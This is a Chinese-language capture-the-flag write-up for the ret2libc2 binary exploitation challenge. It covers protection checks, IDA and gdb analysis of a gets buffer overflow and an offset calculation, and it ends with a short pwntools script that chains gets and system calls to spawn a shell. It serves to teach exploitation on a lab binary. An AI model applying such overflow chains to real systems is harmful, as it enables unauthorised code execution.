# ret2libc2

1、查看架构和保护措施<br>

使用checksec <文件>查了架构和保护措施

几个方向：

没有PIE：ret2libc，ret2syscall，ret2text，ret2shellcode

开启NX：ret2libc，ret2syscall，ret2shellcode

使用file <文件>查看链接方式

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FezrTqjaKwjV7uuv03Giw%2FImage%20%5B1%5D.png?alt=media)

该文件属于动态链接

2、确定方向

* 在Function Window 界面发现了疑似后门的函数secure

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FPFpK0DfFpE0TMTkrVo92%2FImage%20%5B2%5D.png?alt=media)

* secure函数调用了system函数，但是system函数的参数不是“/bin/sh”，也就没办法获取shell，但是system函数在plt段生成了一个表项
* 按Shift+F12，来到文件的全部字符串界面，没有发现可以作为参数的“/bin/sh”字符串
* 在Function Window 界面发现了gets函数，且gets函数位于plt段
* 观察main函数，发现没有泄露局部变量s地址的函数，所以我们不能将s作为参数传递给gets函数（后面会讲到通过ROP返回到printf函数然后泄露s的地址）
* 来到全局文本指令界面，然后去看bss段有没有全局变量，最后发现了全局变量buf2（没有开启PIE，则程序固有的text，data，bss段的地址不会变化）
* 结合前面已经收集到的信息：开启了NX保护+动态链接+system在plt段生成了一个表项+没有发现可以作为参数的“/bin/sh”字符串+发现了gets函数的plt表项+发现了全局变量buf2，所以这个是ret2libc
* 记录地址信息（尽量都尝试，因为在特殊情况下，有些方法分析得出的地址可能会出错）
* * system函数的plt地址
  * * 根据IDA静态分析得出
    * 根据gdb动态调试得出
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FXKBOojRZhfGC9mHvKcyW%2FImage%20%5B10%5D.png?alt=media)
  ```

  * * 根据pwntools的elf文件对象得出（对象写在python脚本里）
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FU9Le8qlwebHY2Xucj0AT%2FImage%20%5B11%5D.png?alt=media)
  ```

  * gets函数的plt地址
  * * 根据IDA静态分析得出
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2F05V8TsaVReOGbidpQRTy%2FImage%20%5B12%5D.png?alt=media)
  ```

  * * 根据gdb动态调试得出
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2F4ahsbILCtqzLHqNR0AZW%2FImage%20%5B13%5D.png?alt=media)
  ```

  * * 根据pwntools的elf文件对象得出（对象写在python脚本里）
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FLGYLrZjGvRbj6KYOK6dz%2FImage%20%5B14%5D.png?alt=media)
  ```

  * 全局变量buf2的地址
  * * 根据IDA静态分析得出
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FVMhnX2Bos0Svhnp6Znjb%2FImage%20%5B15%5D.png?alt=media)
  ```

  * * 根据pwntools的elf文件对象得出（对象写在python脚本里）
  *

  ```
  ![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FrjUfQTrxdYSQN2puAW5o%2FImage%20%5B16%5D.png?alt=media)
  ```

3、寻找危险函数

* 在main函数的汇编界面，按F5反编译成C语言代码

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FhhD5HBwabYsDCWprFQq6%2FImage%20%5B17%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FELWgWBszGQymGCcir63v%2FImage%20%5B18%5D.png?alt=media)

* 分析main函数的主逻辑
* * setvbuf设置缓冲区，没有漏洞
  * puts没有漏洞
  * printf特定条件下有漏洞
  * gets函数向main函数的局部变量s写入无限长的字节数据，存在漏洞

4、计算偏移量

* IDA静态分析得出：s到ret\_addr的距离为0x64+0x4=0x68
* gdb动态调试求偏移量

&#x20;   ①gdb <文件>

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FtWkFepTIUdhh67cwe2r2%2FImage%20%5B19%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FZLt5YXKl5ZKf91k17PUM%2FImage%20%5B20%5D.png?alt=media)

&#x20;   ②b mian 或者start进入到程序的入口（当面对较复杂时，在我们想要的位置上打断点，具体会在ret2libc3介绍）

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FNR94erjEC07ObhFX9Ebh%2FImage%20%5B21%5D.png?alt=media)

&#x20;   ③使用r命令，如果有断点，停在断点处；

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FsF9IPpuzVa21fpDUL6IT%2FImage%20%5B22%5D.png?alt=media)

&#x20;   各个窗口如图所示

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FUIrCyKZ9HPxKC7LPpSQG%2FImage%20%5B23%5D.png?alt=media)

&#x20;   ④在“DISASM”反汇编窗口观察程序执行逻辑，输入ni，进行单步过操作

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FLogTVrlKuz5Y12Vj5GKV%2FImage%20%5B24%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2F5nKbbv4H5npRNNjdkqzY%2FImage%20%5B25%5D.png?alt=media)

&#x20;   ⑤一直步过到“gets函数”，我们不需要进入到gets函数的内部，此时终端处于等待用户输入的状态（规律：凡是库函数都不需要进入函数内部）

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2Fp1XFvIpTMqq7kqLNkHaO%2FImage%20%5B26%5D.png?alt=media)

&#x20;    输入’aaaa‘，（根据程序的位数输入4位还是8位的数据），然后执行stack <数字>查看任意多行的栈空间的情况

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2Fv4yeXbmapGsscCeIyTSe%2FImage%20%5B27%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FvX6wKFPnsTpuaffwIPr9%2FImage%20%5B28%5D.png?alt=media)

&#x20;   观察’aaaa‘数据最后存放在0xffffd14c的位置上，这就是s的地址，返回地址就是ebp的下一单元

&#x20;   ⑥计算s到ret\_addr的偏移量

&#x20;   s的地址：0xffffd14c

&#x20;   ret\_addr：0xffffd1bc（其实gdb已经告诉我们这个地址里的内容就是\_libc\_start\_main函数下一条指令:add esp 0x10 的地址）

&#x20;   使用gdb自带的计算距离的指令：distance <地址1> <地址2>

&#x20;   distance 0xffffd14c 0xffffd1bc

偏移量为：0x70

5、编写exp

from pwn import\*

r=process('./ret2libc2')

sys\_adr=0x08048490

gets\_adr=0x08048460

buf2\_adr=0x0804A080

payload=b'A'\*0x70+p32(gets\_adr)+p32(sys\_adr)+p32(buf2\_adr)+p32(buf2\_adr)

r.sendline(payload)

r.sendline('/bin/sh')

r.interactive()          &#x20;
